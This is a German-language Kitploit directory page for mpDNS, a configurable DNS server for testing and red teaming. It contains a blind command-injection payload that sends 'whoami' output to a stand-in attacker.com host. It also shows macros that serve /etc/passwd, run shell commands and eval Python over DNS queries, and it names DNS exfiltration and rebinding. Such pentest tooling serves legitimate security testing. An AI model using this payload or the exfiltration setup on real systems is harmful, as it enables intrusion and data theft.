Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
mpDNS — Mehrzweck-DNS-Server | Kitploit
Tools/GitHubGitHub/nopernik/mpdns
Scripting & AutomatisierungDatenexfiltrationInformationsbeschaffungWebsicherheitMalware-AnalysePenetrationstestsRed TeamingDNS-Analyse
GitHubnopernik/mpdns

mpDNS

Mehrzweck-DNS-Server

Repository anzeigen
144205vor 1 JahrVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

mpDNS auch bekannt als Mehrzweck-DNS-Server

Einfacher, konfigurierbarer DNS-Server mit mehreren nützlichen Funktionen

  • Python 3
  • names.db -> enthält alle benutzerdefinierten Einträge (siehe Beispiele)
  • Einfache Platzhalter wie *.example.com
  • Abfangen von Unicode-DNS-Anfragen
  • Benutzerdefinierte Aktionen auch bekannt als Makro:
    • {{shellexec::dig google.com +short}} -> Shell-Befehl ausführen und mit Ergebnis antworten
    • {{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> Führe deinen Python-Code aus
    • {{file::/etc/passwd}} -> Antworte mit Inhalten einer lokalen Datei
    • {{filelist::/somefile.list}} -> Antworte mit mehreren Ergebnissen zeilenweise
    • {{resolve}} -> DNS-Anfrage an lokalen System-DNS weiterleiten
    • {{resolve::example.com}} -> example.com anstelle des ursprünglichen Eintrags auflösen
    • {{echo}} -> Antworte mit der Adresse des Peers
    • {{shellexec::echo %PEER% %QUERY% %QUERYTYPE%}} -> Verwendung von Variablen
  • Siehe names.db.example für mehr

Stark basiert auf https://github.com/circuits/circuits/blob/master/examples/dnsserver.py

Schnellstart

root@kitploit:~
git clone https://github.com/nopernik/mpDNS
cd ./mpDNS
pip install -r requirements.txt
touch names.db

Jetzt kannst du deine DNS-Einträge in names.db basierend auf names.db.example ausfüllen

Verwendung: ./mpdns.py

  • Erstelle names.db. Siehe names.db.example
  • Bearbeite DNS-Einträge in names.db mit ./mpdns.py -e, kein Neustart erforderlich

Offensive und defensive Zwecke:

  1. Du benötigst eine leichte, einfache DNS-Server-Lösung für Testzwecke (NICHT PRODUKTION!)
  2. Test auf verschiedene Blind-Injection-Schwachstellen in Webanwendungen (z.B. /ping.php?ip=$(dig $(whoami).attacker.com))
  3. Einfach 65 KB Daten in einer einzigen TXT-Abfrage exfiltrieren
  4. DNS-Rebinding
  5. Führe benutzerdefinierte Makro-Aktion bei bestimmter Abfrage aus (nützlich in Malware-Analyse-Laborumgebungen)
  6. Und vieles mehr. Es ist hochgradig anpassbar.

Einschränkungen

  1. Aufgrund des UDP-Datagramm-Limits von 65535 Byte ist die DNS-Antwort auf ca. 65200 Byte begrenzt.
    Diese Einschränkung gilt für TXT-Einträge, die in 256-Byte-Blöcke aufgeteilt werden, bis die Antwort das maximal erlaubte Limit von 65200b erreicht.
    Daher ist ein TXT-Eintrag mit Makro {{file:localfile.txt}} auf 65200 Byte begrenzt.
  2. Keine Unterstützung für verschachtelte Platzhalter test.*.example.com
  3. Keine Unterstützung für benutzerdefinierten DNS-Server-Resolver im Makro {{resolve::example.com}}
  4. TTL wird immer auf 0 gesetzt

Beispiele

names.db Beispiel:

root@kitploit:~
# Empty configuration will result in empty but valid responses
#
# Unicode domain names are not supported but still can be catched by the server.
# for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response

passwd.example.com	TXT     {{file::/etc/passwd}}  #comments are ignored
shellexec			TXT     {{shellexec::whoami}}
eval				TXT     {{eval::import random; res = random.randint(1,500)}}
resolve1			A       {{resolve}}
resolve2			A       {{resolve::self}}      #same as previous
resolve3			A       {{resolve::example.com}}
blabla.com			A       5.5.5.5

*					A       127.0.0.1
*.example.com		A		7.7.7.7
c1.example.com		CNAME	c2.example.com
c2.example.com		CNAME	c3.example.com
c3.example.com		CNAME	google.example.com
google.example.com	CNAME	google.com
test.example.com	A		8.8.8.8
google.com			A		{{resolve::self}}
notgoogle.com		A		{{resolve::google.com}}

Beispielausgabe mit names.db Beispiel:

Normale Auflösung aus der DB: dig test.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
test.example.com.	0	IN	A	8.8.8.8

mpDNS output: - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)


Rekursive CNAME-Auflösung: dig c1.example.com @localhost

root@kitploit:~
;; QUESTION SECTION:
;c1.example.com.			IN	A

;; ANSWER SECTION:
c1.example.com.		0	IN	CNAME	c2.example.com.
c2.example.com.		0	IN	CNAME	c3.example.com.
c3.example.com.		0	IN	CNAME	google.example.com.
google.example.com.	0	IN	CNAME	google.com.
google.com.		0	IN	A	216.58.206.14

mpDNS output:

root@kitploit:~
- Request from 127.0.0.1:44120      -> c1.example.com.		-> c2.example.com (CNAME)
- Request from 127.0.0.1:44120      -> c2.example.com		-> c3.example.com (CNAME)
- Request from 127.0.0.1:44120      -> c3.example.com		-> google.example.com (CNAME)
- Request from 127.0.0.1:44120      -> google.example.com	-> google.com (CNAME)
- Request from 127.0.0.1:44120      -> google.com			-> {{resolve::self}} (A)

Platzhalter-Auflösung: dig not-in-db.com @localhost

root@kitploit:~
;; ANSWER SECTION:
not-in-db.com.		0	IN	A	127.0.0.1

mpDNS output: - Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)


Platzhalter-Subdomain-Auflösung: dig wildcard.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
wildcard.example.com.	0	IN	A	7.7.7.7

mpDNS output: - Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)


Weiterleitungs-Makro: dig google.com @localhost

root@kitploit:~
;; ANSWER SECTION:
google.com.		0	IN	A	172.217.22.110

mpDNS output: - Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)


Weiterleitungs-Makro für benutzerdefinierte Domain: dig notgoogle.com @localhost

root@kitploit:~
;; ANSWER SECTION:
notgoogle.com.		0	IN	A	172.217.22.110

mpDNS output: - Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)


Dateiinhalts-Makro über TXT-Abfrage: dig txt passwd.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
passwd.example.com.	0	IN	TXT	"root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"

mpDNS output: - Request from 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)


Benutzerdefiniertes Python-Code-Makro über TXT-Abfrage: dig txt eval @localhost

root@kitploit:~
;; ANSWER SECTION:
eval.			0	IN	TXT	"320"

mpDNS output: - Request from 127.0.0.1:33821 -> eval. -> ['320'] (TXT)


Shell-Befehls-Makro über TXT-Abfrage: dig txt shellexec @localhost

root@kitploit:~
;; ANSWER SECTION:
shellexec.		0	IN	TXT	"root"

mpDNS output: - Request from 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)


Viel Spaß!

Tool herunterladen